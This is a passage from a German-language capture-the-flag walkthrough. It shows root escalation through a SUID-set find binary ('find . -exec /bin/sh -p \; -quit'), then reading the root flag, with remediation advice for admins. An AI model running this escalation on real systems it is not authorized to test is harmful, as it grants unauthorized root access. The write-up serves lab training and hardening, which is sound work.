**Analyse:** Der Pentester nutzt die SUID `find`-Schwachstelle: 1. `find . -exec /bin/sh \; -quit`: Dieser Befehl führt `find` aus (als Root). Die Option `-exec /bin/sh \;` startet eine neue Shell für das erste gefundene Element (hier das aktuelle Verzeichnis `.`) Der `-quit`-Parameter beendet `find` sofort danach. Die anschließende `id`-Ausgabe zeigt immer noch `uid=33(www-data)`. Das liegt daran, dass `/bin/sh` standardmäßig die effektive UID (root) auf die reale UID (www-data) zurücksetzt, wenn sie unterschiedlich sind. 2. `find . -exec /bin/sh -p \; -quit`: Derselbe Befehl, aber diesmal wird `/bin/sh` mit der Option `-p` gestartet. Diese Option verhindert, dass die Shell die effektive UID auf die reale UID zurücksetzt. Die anschließende `id`-Ausgabe zeigt `euid=0(root)`. Die effektive Benutzer-ID ist nun Root, obwohl die reale ID noch `www-data` ist. Der Shell-Prompt ändert sich zu `#`, was ebenfalls Root-Rechte signalisiert.

**Bewertung:** Root-Zugriff erfolgreich erlangt! Die Ausnutzung der SUID `find`-Binary mit `/bin/sh -p` war erfolgreich. Dies ist ein klassischer und zuverlässiger Weg zur Privilegieneskalation bei dieser Fehlkonfiguration.

**Empfehlung (Pentester):** Sie haben nun Root-Rechte. Suchen Sie nach der finalen Flagge (oft in `/root/`).
**Empfehlung (Admin):** Entfernen Sie das SUID-Bit von `/usr/bin/find` (`chmod u-s /usr/bin/find`). Überprüfen Sie das System auf andere unsichere SUID/GUID-Konfigurationen.

# cd /root
# ls
flag3.txt  snap
                    
# cat flag3.txt
Congrats!!!You completed the challenege!



						   ()    ()

						 \	    /
						  -..-

**Analyse:** In der Root-Shell wechselt der Pentester nach `/root` und listet den Inhalt auf. Dort befindet sich eine Datei `flag3.txt` (und ein `snap`-Verzeichnis). Der Befehl `cat flag3.txt` zeigt den Inhalt an: "Congrats!!!You completed the challenege!" und etwas ASCII-Art.

**Bewertung:** Ziel erreicht! Dies ist die Root-Flagge oder die Abschlussnachricht der Box. Der Name `flag3.txt` ist etwas ungewöhnlich, aber der Inhalt bestätigt den Erfolg.

**Empfehlung (Pentester):** Dokumentieren Sie die Flagge/Nachricht und schließen Sie den Bericht ab.
**Empfehlung (Admin):** Keine Flaggen in Produktionssystemen. Beheben Sie die gefundenen Schwachstellen (Command Injection, SUID `find`).

 Privilege Escalation erfolgreich
                    

**Analyse:** Organisatorische Abschlussnotiz.

**Bewertung:** Bestätigt den Abschluss der Eskalation.

**Empfehlung (Pentester/Admin):** Keine technischen Empfehlungen.

Flags

Anmerkung: Im bereitgestellten Log wurde keine explizite User-Flagge (z.B. in einer `user.txt`-Datei) gefunden. Die aus `new.jpg` extrahierte Datei enthielt Benutzernamen.

cat /root/flag3.txt
Congrats!!!You completed the challenege!